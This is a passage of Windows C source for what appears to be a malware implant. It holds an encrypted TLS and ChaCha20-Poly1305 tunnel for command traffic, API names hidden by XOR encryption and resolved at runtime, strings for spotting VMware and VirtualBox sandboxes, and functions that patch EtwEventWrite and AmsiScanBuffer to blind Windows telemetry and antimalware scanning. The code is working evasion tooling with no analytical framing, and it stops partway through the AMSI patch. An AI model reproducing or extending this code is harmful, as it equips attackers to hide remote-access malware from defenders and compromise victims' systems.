    if (tls->extra_buf) HeapFree(GetProcessHeap(), 0, tls->extra_buf);
    HeapFree(GetProcessHeap(), 0, tls);
}

static int tls_send(TLS_CTX *tls, const uint8_t *data, int len) {
    int sent = 0;
    while (sent < len) {
        int chunk = len - sent;
        if (chunk > (int)tls->sizes.cbMaximumMessage)
            chunk = (int)tls->sizes.cbMaximumMessage;
        
        int total = tls->sizes.cbHeader + chunk + tls->sizes.cbTrailer;
        uint8_t *msg = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, total);
        if (!msg) return -1;
        
        memcpy(msg + tls->sizes.cbHeader, data + sent, chunk);
        
        SecBuffer bufs[4];
        bufs[0].BufferType = SECBUFFER_STREAM_HEADER;
        bufs[0].cbBuffer = tls->sizes.cbHeader;
        bufs[0].pvBuffer = msg;
        bufs[1].BufferType = SECBUFFER_DATA;
        bufs[1].cbBuffer = chunk;
        bufs[1].pvBuffer = msg + tls->sizes.cbHeader;
        bufs[2].BufferType = SECBUFFER_STREAM_TRAILER;
        bufs[2].cbBuffer = tls->sizes.cbTrailer;
        bufs[2].pvBuffer = msg + tls->sizes.cbHeader + chunk;
        bufs[3].BufferType = SECBUFFER_EMPTY;
        bufs[3].cbBuffer = 0;
        bufs[3].pvBuffer = NULL;
        
        SecBufferDesc desc;
        desc.ulVersion = SECBUFFER_VERSION;
        desc.cBuffers = 4;
        desc.pBuffers = bufs;
        
        SECURITY_STATUS ss = EncryptMessage(&tls->ctx, 0, &desc, 0);
        if (ss != SEC_E_OK) {
            HeapFree(GetProcessHeap(), 0, msg);
            return -1;
        }
        
        int wire_len = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
        if (raw_send_all(tls->sock, msg, wire_len) < 0) {
            HeapFree(GetProcessHeap(), 0, msg);
            return -1;
        }
        HeapFree(GetProcessHeap(), 0, msg);
        sent += chunk;
    }
    return sent;
}

static int tls_recv(TLS_CTX *tls, uint8_t *buf, int max_len) {
    /* Return data from extra buffer first */
    if (tls->extra_len > 0) {
        int copy = tls->extra_len;
        if (copy > max_len) copy = max_len;
        memcpy(buf, tls->extra_buf, copy);
        if (copy < tls->extra_len)
            memmove(tls->extra_buf, tls->extra_buf + copy, tls->extra_len - copy);
        tls->extra_len -= copy;
        return copy;
    }
    
    for (;;) {
        if (tls->recv_buf_used > 0) {
            SecBuffer bufs[4];
            bufs[0].BufferType = SECBUFFER_DATA;
            bufs[0].cbBuffer = tls->recv_buf_used;
            bufs[0].pvBuffer = tls->recv_buf;
            bufs[1].BufferType = SECBUFFER_EMPTY;
            bufs[1].cbBuffer = 0; bufs[1].pvBuffer = NULL;
            bufs[2].BufferType = SECBUFFER_EMPTY;
            bufs[2].cbBuffer = 0; bufs[2].pvBuffer = NULL;
            bufs[3].BufferType = SECBUFFER_EMPTY;
            bufs[3].cbBuffer = 0; bufs[3].pvBuffer = NULL;
            
            SecBufferDesc desc;
            desc.ulVersion = SECBUFFER_VERSION;
            desc.cBuffers = 4;
            desc.pBuffers = bufs;
            
            SECURITY_STATUS ss = DecryptMessage(&tls->ctx, &desc, 0, NULL);
            
            if (ss == SEC_E_OK) {
                uint8_t *plaintext = NULL;
                int plaintext_len = 0;
                int extra_start = -1, extra_size = 0;
                int i;
                for (i = 0; i < 4; i++) {
                    if (bufs[i].BufferType == SECBUFFER_DATA) {
                        plaintext = (uint8_t*)bufs[i].pvBuffer;
                        plaintext_len = bufs[i].cbBuffer;
                    }
                    if (bufs[i].BufferType == SECBUFFER_EXTRA) {
                        extra_start = (int)((uint8_t*)bufs[i].pvBuffer - tls->recv_buf);
                        extra_size = bufs[i].cbBuffer;
                    }
                }
                
                /* Copy plaintext to caller */
                int copy = plaintext_len;
                if (copy > max_len) copy = max_len;
                if (plaintext && copy > 0) memcpy(buf, plaintext, copy);
                
                /* Stash overflow in extra_buf */
                if (copy < plaintext_len) {
                    int overflow = plaintext_len - copy;
                    if (overflow > tls->extra_cap) overflow = tls->extra_cap;
                    memcpy(tls->extra_buf, plaintext + copy, overflow);
                    tls->extra_len = overflow;
                }
                
                /* Move leftover encrypted data to front */
                if (extra_size > 0 && extra_start >= 0) {
                    memmove(tls->recv_buf, tls->recv_buf + extra_start, extra_size);
                    tls->recv_buf_used = extra_size;
                } else {
                    tls->recv_buf_used = 0;
                }
                
                return copy;
            }
            
            if (ss == SEC_E_INCOMPLETE_MESSAGE) {
                /* Need more data — fall through to recv */
            } else {
                /* Fatal error */
                return -1;
            }
        }
        
        /* Read more TLS records from network */
        if (tls->recv_buf_used >= TLS_RECV_BUF_SIZE) return -1;
        int r = raw_recv_some(tls->sock,
                              tls->recv_buf + tls->recv_buf_used,
                              TLS_RECV_BUF_SIZE - tls->recv_buf_used);
        if (r <= 0) return -1;
        tls->recv_buf_used += r;
    }
}

static int tls_recv_exact(TLS_CTX *tls, uint8_t *buf, int needed) {
    int got = 0;
    while (got < needed) {
        int r = tls_recv(tls, buf + got, needed - got);
        if (r <= 0) return -1;
        got += r;
    }
    return got;
}

static TLS_CTX *g_tls = NULL;

static int tls_sendall(TLS_CTX *tls, const uint8_t *buf, int len) {
    return tls_send(tls, buf, len) == len ? 0 : -1;
}

static int tls_recvall(TLS_CTX *tls, uint8_t *buf, int len) {
    return tls_recv_exact(tls, buf, len) == len ? 0 : -1;
}

/* =========================================================================
 * tunnel_send / tunnel_recv — after both CC20 and TLS are defined
 * ========================================================================= */

/* Send: [len:4][nonce:12][ciphertext][tag:16] */
static int tunnel_send(CC20Ctx *ctx, SOCKET s, const uint8_t *data, int len) {
    if (len < 0 || len > MAX_FRAME_SIZE) return -1;
    uint8_t nonce[12];
    int frame_len = 12 + len + 16;
    uint8_t *frame = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, frame_len + 4);
    if (!frame) return -1;

    EnterCriticalSection(&g_lock);
    cc20_make_nonce(ctx->send_ctr, nonce);
    ctx->send_ctr++;
    LeaveCriticalSection(&g_lock);

    uint8_t poly_key[64];
    chacha20_block(ctx->key, 0, nonce, poly_key);

    memcpy(frame + 4 + 12, data, len);
    chacha20_crypt(ctx->key, nonce, 1, frame + 4 + 12, len);
    memcpy(frame + 4, nonce, 12);

    /* Heap-allocated mac_data instead of VLA */
    uint8_t *mac_data = NULL;
    int mac_len = cc20_build_mac_data(NULL, 0, frame + 4 + 12, len, &mac_data);
    if (!mac_data) { HeapFree(GetProcessHeap(), 0, frame); return -1; }

    uint8_t tag[16];
    poly1305_mac(mac_data, mac_len, poly_key, tag);
    HeapFree(GetProcessHeap(), 0, mac_data);
    memcpy(frame + 4 + 12 + len, tag, 16);

    frame[0] = (frame_len>>24)&0xff;
    frame[1] = (frame_len>>16)&0xff;
    frame[2] = (frame_len>>8)&0xff;
    frame[3] = frame_len & 0xff;

    int total = frame_len + 4;
    int sent = 0, r;
    /* Send via TLS if available, else raw TCP */
    if (g_tls) {
        r = tls_send(g_tls, frame, total);
        HeapFree(GetProcessHeap(), 0, frame);
        return (r == total) ? 0 : -1;
    }
    while (sent < total) {
        r = send(s, (char*)(frame + sent), total - sent, 0);
        if (r <= 0) { HeapFree(GetProcessHeap(), 0, frame); return -1; }
        sent += r;
    }
    HeapFree(GetProcessHeap(), 0, frame);
    return 0;
}

/* Recv: [len:4][nonce:12][ciphertext][tag:16] */
static int tunnel_recv(CC20Ctx *ctx, SOCKET s, uint8_t *out, int max_len) {
    uint8_t lb[4]; int r, rcv = 0;
    /* Read 4-byte length header via TLS or raw */
    if (g_tls) {
        if (tls_recv_exact(g_tls, lb, 4) < 0) return -1;
    } else {
        while (rcv < 4) {
            r = recv(s, (char*)(lb + rcv), 4 - rcv, 0);
            if (r <= 0) return -1;
            rcv += r;
        }
    }
    uint32_t frame_len = ((uint32_t)lb[0]<<24)|((uint32_t)lb[1]<<16)|
                         ((uint32_t)lb[2]<<8)|(uint32_t)lb[3];
    /* Reject frames > 1MB or too small for nonce+tag */
    if (frame_len > MAX_FRAME_SIZE || frame_len < 28) return -1;

    uint8_t *frame = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, frame_len);
    if (!frame) return -1;

    /* Read frame body via TLS or raw */
    if (g_tls) {
        if (tls_recv_exact(g_tls, frame, (int)frame_len) < 0) {
            HeapFree(GetProcessHeap(), 0, frame);
            return -1;
        }
    } else {
        rcv = 0;
        while (rcv < (int)frame_len) {
            r = recv(s, (char*)(frame + rcv), frame_len - rcv, 0);
            if (r <= 0) { HeapFree(GetProcessHeap(), 0, frame); return -1; }
            rcv += r;
        }
    }

    uint8_t *nonce = frame;
    int ct_len = frame_len - 12 - 16;
    uint8_t *ct = frame + 12;
    uint8_t *tag = frame + 12 + ct_len;
    if (ct_len < 0 || ct_len > max_len) { HeapFree(GetProcessHeap(), 0, frame); return -1; }

    uint8_t poly_key[64];
    chacha20_block(ctx->key, 0, nonce, poly_key);

    /* Heap-allocated mac_data instead of VLA */
    uint8_t *mac_data = NULL;
    int mac_len = cc20_build_mac_data(NULL, 0, ct, ct_len, &mac_data);
    if (!mac_data) { HeapFree(GetProcessHeap(), 0, frame); return -1; }

    uint8_t expected_tag[16];
    poly1305_mac(mac_data, mac_len, poly_key, expected_tag);
    HeapFree(GetProcessHeap(), 0, mac_data);

    if (memcmp(tag, expected_tag, 16) != 0) {
        HeapFree(GetProcessHeap(), 0, frame);
        return -1;
    }

    memcpy(out, ct, ct_len);
    chacha20_crypt(ctx->key, nonce, 1, out, ct_len);
    HeapFree(GetProcessHeap(), 0, frame);
    return ct_len;
}

static int sendall(SOCKET s, const char *buf, int len) {
    int sent = 0, r;
    while (sent < len) { r = send(s, buf+sent, len-sent, 0); if (r <= 0) return -1; sent += r; }
    return sent;
}

/* =========================================================================
 * SECTION E: Dynamic API Resolution
 * ========================================================================= */
/* API function pointer typedefs */
typedef LPVOID  (WINAPI *tVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL    (WINAPI *tVirtualFree)(LPVOID, SIZE_T, DWORD);
typedef BOOL    (WINAPI *tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LPVOID  (WINAPI *tHeapAlloc_)(HANDLE, DWORD, SIZE_T);
typedef BOOL    (WINAPI *tHeapFree_)(HANDLE, DWORD, LPVOID);
typedef HANDLE  (WINAPI *tCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef HANDLE  (WINAPI *tCreateEventA)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR);
typedef BOOL    (WINAPI *tSetEvent)(HANDLE);
typedef DWORD   (WINAPI *tWaitForSingleObject)(HANDLE, DWORD);
typedef BOOL    (WINAPI *tCloseHandle)(HANDLE);
typedef HANDLE  (WINAPI *tCreateTimerQueue)(void);
typedef BOOL    (WINAPI *tCreateTimerQueueTimer)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
typedef BOOL    (WINAPI *tDeleteTimerQueueEx)(HANDLE, HANDLE);
typedef DWORD   (WINAPI *tGetTickCount)(void);
typedef void    (WINAPI *tSleep)(DWORD);
typedef BOOL    (WINAPI *tCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef BOOL    (WINAPI *tCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
typedef BOOL    (WINAPI *tReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL    (WINAPI *tWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef HANDLE  (WINAPI *tCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef DWORD   (WINAPI *tGetFileSize)(HANDLE, LPDWORD);
typedef HANDLE  (WINAPI *tCreateToolhelp32Snapshot)(DWORD, DWORD);
typedef BOOL    (WINAPI *tProcess32First)(HANDLE, LPPROCESSENTRY32);
typedef BOOL    (WINAPI *tProcess32Next)(HANDLE, LPPROCESSENTRY32);
typedef BOOL    (WINAPI *tGetLastInputInfo)(PLASTINPUTINFO);
typedef BOOL    (WINAPI *tGlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
typedef void    (WINAPI *tGetSystemInfo)(LPSYSTEM_INFO);
typedef BOOL    (WINAPI *tIsDebuggerPresent)(void);
typedef BOOL    (WINAPI *tCheckRemoteDebuggerPresent)(HANDLE, PBOOL);
typedef HANDLE  (WINAPI *tGetCurrentProcess)(void);
typedef HANDLE  (WINAPI *tOpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL    (WINAPI *tTerminateProcess)(HANDLE, UINT);
typedef BOOL    (WINAPI *tPeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD);
typedef HMODULE (WINAPI *tGetModuleHandleA)(LPCSTR);
typedef FARPROC (WINAPI *tGetProcAddress_)(HMODULE, LPCSTR);
typedef HMODULE (WINAPI *tLoadLibraryA)(LPCSTR);
typedef BOOL    (WINAPI *tFreeLibrary)(HMODULE);
typedef LPVOID  (WINAPI *tMapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL    (WINAPI *tUnmapViewOfFile)(LPCVOID);
typedef HANDLE  (WINAPI *tCreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef DWORD   (WINAPI *tGetModuleFileNameA)(HMODULE, LPSTR, DWORD);

static struct {
    tVirtualAlloc              pVirtualAlloc;
    tVirtualFree               pVirtualFree;
    tVirtualProtect            pVirtualProtect;
    tHeapAlloc_                pHeapAlloc;
    tHeapFree_                 pHeapFree;
    tCreateThread              pCreateThread;
    tCreateEventA              pCreateEventA;
    tSetEvent                  pSetEvent;
    tWaitForSingleObject       pWaitForSingleObject;
    tCloseHandle               pCloseHandle;
    tCreateTimerQueue          pCreateTimerQueue;
    tCreateTimerQueueTimer     pCreateTimerQueueTimer;
    tDeleteTimerQueueEx        pDeleteTimerQueueEx;
    tGetTickCount              pGetTickCount;
    tSleep                     pSleep;
    tCreateProcessA            pCreateProcessA;
    tCreatePipe                pCreatePipe;
    tReadFile                  pReadFile;
    tWriteFile                 pWriteFile;
    tCreateFileA               pCreateFileA;
    tGetFileSize               pGetFileSize;
    tCreateToolhelp32Snapshot  pCreateToolhelp32Snapshot;
    tProcess32First            pProcess32First;
    tProcess32Next             pProcess32Next;
    tGetLastInputInfo          pGetLastInputInfo;
    tGlobalMemoryStatusEx      pGlobalMemoryStatusEx;
    tGetSystemInfo             pGetSystemInfo;
    tIsDebuggerPresent         pIsDebuggerPresent;
    tCheckRemoteDebuggerPresent pCheckRemoteDebuggerPresent;
    tGetCurrentProcess         pGetCurrentProcess;
    tOpenProcess               pOpenProcess;
    tTerminateProcess          pTerminateProcess;
    tPeekNamedPipe             pPeekNamedPipe;
    tGetModuleHandleA          pGetModuleHandleA;
    tGetProcAddress_           pGetProcAddress;
    tLoadLibraryA              pLoadLibraryA;
    tFreeLibrary               pFreeLibrary;
    tMapViewOfFile             pMapViewOfFile;
    tUnmapViewOfFile           pUnmapViewOfFile;
    tCreateFileMappingA        pCreateFileMappingA;
    tGetModuleFileNameA        pGetModuleFileNameA;
} api;

/* Encrypted API name arrays (XOR 0x5A) */
static unsigned char enc_VirtualAlloc[]  = {0x0c,0x33,0x28,0x2e,0x2f,0x3b,0x36,0x1b,0x36,0x36,0x35,0x39};
static unsigned char enc_VirtualFree[]   = {0x0c,0x33,0x28,0x2e,0x2f,0x3b,0x36,0x1c,0x28,0x3f,0x3f};
static unsigned char enc_VirtualProtect[]= {0x0c,0x33,0x28,0x2e,0x2f,0x3b,0x36,0x0a,0x28,0x35,0x2e,0x3f,0x39,0x2e};
static unsigned char enc_HeapAlloc[]     = {0x12,0x3f,0x3b,0x2a,0x1b,0x36,0x36,0x35,0x39};
static unsigned char enc_HeapFree[]      = {0x12,0x3f,0x3b,0x2a,0x1c,0x28,0x3f,0x3f};
static unsigned char enc_CreateThread[]  = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x32,0x28,0x3f,0x3b,0x3e};
static unsigned char enc_CreateEventA[]  = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x1f,0x2c,0x3f,0x34,0x2e,0x1b};
static unsigned char enc_SetEvent[]      = {0x09,0x3f,0x2e,0x1f,0x2c,0x3f,0x34,0x2e};
static unsigned char enc_WaitForSingleObject[] = {0x0d,0x3b,0x33,0x2e,0x1c,0x35,0x28,0x09,0x33,0x34,0x3d,0x36,0x3f,0x15,0x38,0x30,0x3f,0x39,0x2e};
static unsigned char enc_CloseHandle[]   = {0x19,0x36,0x35,0x29,0x3f,0x12,0x3b,0x34,0x3e,0x36,0x3f};
static unsigned char enc_CreateTimerQueue[]      = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f};
static unsigned char enc_CreateTimerQueueTimer[] = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f,0x0e,0x33,0x37,0x3f,0x28};
static unsigned char enc_DeleteTimerQueueEx[]    = {0x1e,0x3f,0x36,0x3f,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f,0x1f,0x22};
static unsigned char enc_GetTickCount[]  = {0x1d,0x3f,0x2e,0x0e,0x33,0x39,0x31,0x19,0x35,0x2f,0x34,0x2e};
static unsigned char enc_Sleep_[]        = {0x09,0x36,0x3f,0x3f,0x2a};
static unsigned char enc_CreateProcessA[]= {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x1b};
static unsigned char enc_CreatePipe[]    = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0a,0x33,0x2a,0x3f};
static unsigned char enc_ReadFile[]      = {0x08,0x3f,0x3b,0x3e,0x1c,0x33,0x36,0x3f};
static unsigned char enc_WriteFile[]     = {0x0d,0x28,0x33,0x2e,0x3f,0x1c,0x33,0x36,0x3f};
static unsigned char enc_CreateFileA[]   = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x1c,0x33,0x36,0x3f,0x1b};
static unsigned char enc_GetFileSize[]   = {0x1d,0x3f,0x2e,0x1c,0x33,0x36,0x3f,0x09,0x33,0x20,0x3f};
static unsigned char enc_CreateToolhelp32Snapshot[] = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x35,0x35,0x36,0x32,0x3f,0x36,0x2a,0x69,0x68,0x09,0x34,0x3b,0x2a,0x29,0x32,0x35,0x2e};
static unsigned char enc_Process32First[]= {0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x69,0x68,0x1c,0x33,0x28,0x29,0x2e};
static unsigned char enc_Process32Next[] = {0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x69,0x68,0x14,0x3f,0x22,0x2e};
static unsigned char enc_GetLastInputInfo[]      = {0x1d,0x3f,0x2e,0x16,0x3b,0x29,0x2e,0x13,0x34,0x2a,0x2f,0x2e,0x13,0x34,0x3c,0x35};
static unsigned char enc_GlobalMemoryStatusEx[]  = {0x1d,0x36,0x35,0x38,0x3b,0x36,0x17,0x3f,0x37,0x35,0x28,0x23,0x09,0x2e,0x3b,0x2e,0x2f,0x29,0x1f,0x22};
static unsigned char enc_GetSystemInfo[] = {0x1d,0x3f,0x2e,0x09,0x23,0x29,0x2e,0x3f,0x37,0x13,0x34,0x3c,0x35};
static unsigned char enc_IsDebuggerPresent[]           = {0x13,0x29,0x1e,0x3f,0x38,0x2f,0x3d,0x3d,0x3f,0x28,0x0a,0x28,0x3f,0x29,0x3f,0x34,0x2e};
static unsigned char enc_CheckRemoteDebuggerPresent[]  = {0x19,0x32,0x3f,0x39,0x31,0x08,0x3f,0x37,0x35,0x2e,0x3f,0x1e,0x3f,0x38,0x2f,0x3d,0x3d,0x3f,0x28,0x0a,0x28,0x3f,0x29,0x3f,0x34,0x2e};
static unsigned char enc_GetCurrentProcess[] = {0x1d,0x3f,0x2e,0x19,0x2f,0x28,0x28,0x3f,0x34,0x2e,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29};
static unsigned char enc_OpenProcess[]   = {0x15,0x2a,0x3f,0x34,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29};
static unsigned char enc_TerminateProcess[] = {0x0e,0x3f,0x28,0x37,0x33,0x34,0x3b,0x2e,0x3f,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29};
static unsigned char enc_PeekNamedPipe[] = {0x0a,0x3f,0x3f,0x31,0x14,0x3b,0x37,0x3f,0x3e,0x0a,0x33,0x2a,0x3f};
static unsigned char enc_GetModuleHandleA[] = {0x1d,0x3f,0x2e,0x17,0x35,0x3e,0x2f,0x36,0x3f,0x12,0x3b,0x34,0x3e,0x36,0x3f,0x1b};
static unsigned char enc_GetProcAddress[]   = {0x1d,0x3f,0x2e,0x0a,0x28,0x35,0x39,0x1b,0x3e,0x3e,0x28,0x3f,0x29,0x29};
static unsigned char enc_LoadLibraryA[] = {0x16,0x35,0x3b,0x3e,0x16,0x33,0x38,0x28,0x3b,0x28,0x23,0x1b};
static unsigned char enc_FreeLibrary[]  = {0x1c,0x28,0x3f,0x3f,0x16,0x33,0x38,0x28,0x3b,0x28,0x23};
static unsigned char enc_MapViewOfFile[]       = {0x17,0x3b,0x2a,0x0c,0x33,0x3f,0x2d,0x15,0x3c,0x1c,0x33,0x36,0x3f};
static unsigned char enc_UnmapViewOfFile[]     = {0x0f,0x34,0x37,0x3b,0x2a,0x0c,0x33,0x3f,0x2d,0x15,0x3c,0x1c,0x33,0x36,0x3f};
static unsigned char enc_CreateFileMappingA[]  = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x1c,0x33,0x36,0x3f,0x17,0x3b,0x2a,0x2a,0x33,0x34,0x3d,0x1b};
static unsigned char enc_GetModuleFileNameA[]  = {0x1d,0x3f,0x2e,0x17,0x35,0x3e,0x2f,0x36,0x3f,0x1c,0x33,0x36,0x3f,0x14,0x3b,0x37,0x3f,0x1b};

/* Encrypted DLL names */
static unsigned char enc_ntdll_dll[]    = {0x34,0x2e,0x3e,0x36,0x36,0x74,0x3e,0x36,0x36};
static unsigned char enc_kernel32_dll[] = {0x31,0x3f,0x28,0x34,0x3f,0x36,0x69,0x68,0x74,0x3e,0x36,0x36};

/* Encrypted special function names */
static unsigned char enc_EtwEventWrite[]             = {0x1f,0x2e,0x2d,0x1f,0x2c,0x3f,0x34,0x2e,0x0d,0x28,0x33,0x2e,0x3f};
static unsigned char enc_AmsiScanBuffer[]            = {0x1b,0x37,0x29,0x33,0x09,0x39,0x3b,0x34,0x18,0x2f,0x3c,0x3c,0x3f,0x28};
static unsigned char enc_NtQueryInformationProcess[] = {0x14,0x2e,0x0b,0x2f,0x3f,0x28,0x23,0x13,0x34,0x3c,0x35,0x28,0x37,0x3b,0x2e,0x33,0x35,0x34,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29};

/* Encrypted misc strings */
static unsigned char enc_amsi_dll[]  = {0x3b,0x37,0x29,0x33,0x74,0x3e,0x36,0x36};
static unsigned char enc_cmd_exe[]   = {0x39,0x37,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_knowndlls_ntdll[] = {0x06,0x11,0x34,0x35,0x2d,0x34,0x1e,0x36,0x36,0x29,0x06,0x34,0x2e,0x3e,0x36,0x36,0x74,0x3e,0x36,0x36};
static unsigned char enc_vmtoolsd_exe[]    = {0x2c,0x37,0x2e,0x35,0x35,0x36,0x29,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_VBoxService_exe[] = {0x0c,0x18,0x35,0x22,0x09,0x3f,0x28,0x2c,0x33,0x39,0x3f,0x74,0x3f,0x22,0x3f};

/* Helper: resolve one API, decrypt name on stack then zero */
#define RESOLVE_API(hmod, enc_name, enc_len, field) do { \
    char _n[(enc_len)+1]; decrypt_str((enc_name),(enc_len),_n); \
    api.field = (typeof(api.field))GetProcAddress((hmod), _n); \
    memset(_n, 0, sizeof(_n)); \
} while(0)

static void resolve_apis(void) {
    HMODULE k32 = GetModuleHandleA("kernel32.dll");

    RESOLVE_API(k32, enc_VirtualAlloc, 12, pVirtualAlloc);
    RESOLVE_API(k32, enc_VirtualFree, 11, pVirtualFree);
    RESOLVE_API(k32, enc_VirtualProtect, 14, pVirtualProtect);
    RESOLVE_API(k32, enc_HeapAlloc, 9, pHeapAlloc);
    RESOLVE_API(k32, enc_HeapFree, 8, pHeapFree);
    RESOLVE_API(k32, enc_CreateThread, 12, pCreateThread);
    RESOLVE_API(k32, enc_CreateEventA, 12, pCreateEventA);
    RESOLVE_API(k32, enc_SetEvent, 8, pSetEvent);
    RESOLVE_API(k32, enc_WaitForSingleObject, 19, pWaitForSingleObject);
    RESOLVE_API(k32, enc_CloseHandle, 11, pCloseHandle);
    RESOLVE_API(k32, enc_CreateTimerQueue, 16, pCreateTimerQueue);
    RESOLVE_API(k32, enc_CreateTimerQueueTimer, 21, pCreateTimerQueueTimer);
    RESOLVE_API(k32, enc_DeleteTimerQueueEx, 18, pDeleteTimerQueueEx);
    RESOLVE_API(k32, enc_GetTickCount, 12, pGetTickCount);
    RESOLVE_API(k32, enc_Sleep_, 5, pSleep);
    RESOLVE_API(k32, enc_CreateProcessA, 14, pCreateProcessA);
    RESOLVE_API(k32, enc_CreatePipe, 10, pCreatePipe);
    RESOLVE_API(k32, enc_ReadFile, 8, pReadFile);
    RESOLVE_API(k32, enc_WriteFile, 9, pWriteFile);
    RESOLVE_API(k32, enc_CreateFileA, 11, pCreateFileA);
    RESOLVE_API(k32, enc_GetFileSize, 11, pGetFileSize);
    RESOLVE_API(k32, enc_CreateToolhelp32Snapshot, 24, pCreateToolhelp32Snapshot);
    RESOLVE_API(k32, enc_Process32First, 14, pProcess32First);
    RESOLVE_API(k32, enc_Process32Next, 13, pProcess32Next);

    /* user32.dll for GetLastInputInfo */
    HMODULE u32 = GetModuleHandleA("user32.dll");
    if (!u32) {
        char ll[13]; decrypt_str(enc_LoadLibraryA, 12, ll);
        tLoadLibraryA pLL = (tLoadLibraryA)GetProcAddress(k32, ll);
        memset(ll, 0, 13);
        if (pLL) u32 = pLL("user32.dll");
    }
    if (u32) {
        RESOLVE_API(u32, enc_GetLastInputInfo, 16, pGetLastInputInfo);
    }

    RESOLVE_API(k32, enc_GlobalMemoryStatusEx, 20, pGlobalMemoryStatusEx);
    RESOLVE_API(k32, enc_GetSystemInfo, 13, pGetSystemInfo);
    RESOLVE_API(k32, enc_IsDebuggerPresent, 17, pIsDebuggerPresent);
    RESOLVE_API(k32, enc_CheckRemoteDebuggerPresent, 26, pCheckRemoteDebuggerPresent);
    RESOLVE_API(k32, enc_GetCurrentProcess, 17, pGetCurrentProcess);
    RESOLVE_API(k32, enc_OpenProcess, 11, pOpenProcess);
    RESOLVE_API(k32, enc_TerminateProcess, 16, pTerminateProcess);
    RESOLVE_API(k32, enc_PeekNamedPipe, 13, pPeekNamedPipe);
    RESOLVE_API(k32, enc_GetModuleHandleA, 16, pGetModuleHandleA);
    RESOLVE_API(k32, enc_GetProcAddress, 14, pGetProcAddress);
    RESOLVE_API(k32, enc_LoadLibraryA, 12, pLoadLibraryA);
    RESOLVE_API(k32, enc_FreeLibrary, 11, pFreeLibrary);
    RESOLVE_API(k32, enc_MapViewOfFile, 13, pMapViewOfFile);
    RESOLVE_API(k32, enc_UnmapViewOfFile, 15, pUnmapViewOfFile);
    RESOLVE_API(k32, enc_CreateFileMappingA, 18, pCreateFileMappingA);
    RESOLVE_API(k32, enc_GetModuleFileNameA, 18, pGetModuleFileNameA);
}

/* =========================================================================
 * SECTION F: ETW Bypass — patch EtwEventWrite to xor rax,rax; ret
 * ========================================================================= */
static void patch_etw(void) {
    char ntdll_name[10]; decrypt_str(enc_ntdll_dll, 9, ntdll_name);
    HMODULE ntdll = GetModuleHandleA(ntdll_name);
    memset(ntdll_name, 0, 10);
    if (!ntdll) return;

    char etw_name[14]; decrypt_str(enc_EtwEventWrite, 13, etw_name);
    FARPROC etw = GetProcAddress(ntdll, etw_name);
    memset(etw_name, 0, 14);
    if (!etw) return;

    DWORD old;
    unsigned char patch[] = {0x48, 0x33, 0xC0, 0xC3}; /* xor rax,rax; ret */
    VirtualProtect((LPVOID)etw, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy((void*)etw, patch, sizeof(patch));
    VirtualProtect((LPVOID)etw, sizeof(patch), old, &old);
}

/* =========================================================================
 * SECTION G: AMSI Bypass — patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
 * ========================================================================= */
static void patch_amsi(void) {
    char amsi_name[9]; decrypt_str(enc_amsi_dll, 8, amsi_name);
    HMODULE amsi = NULL;
    if (api.pLoadLibraryA) amsi = api.pLoadLibraryA(amsi_name);
    else amsi = LoadLibraryA(amsi_name);
    memset(amsi_name, 0, 9);
    if (!amsi) return;

    char func_name[15]; decrypt_str(enc_AmsiScanBuffer, 14, func_name);
    FARPROC target = GetProcAddress(amsi, func_name);
    memset(func_name, 0, 15);
    if (!target) return;

    DWORD old;
    /* mov eax, 0x80070057 (E_INVALIDARG); ret */
    unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3};
    VirtualProtect((LPVOID)target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
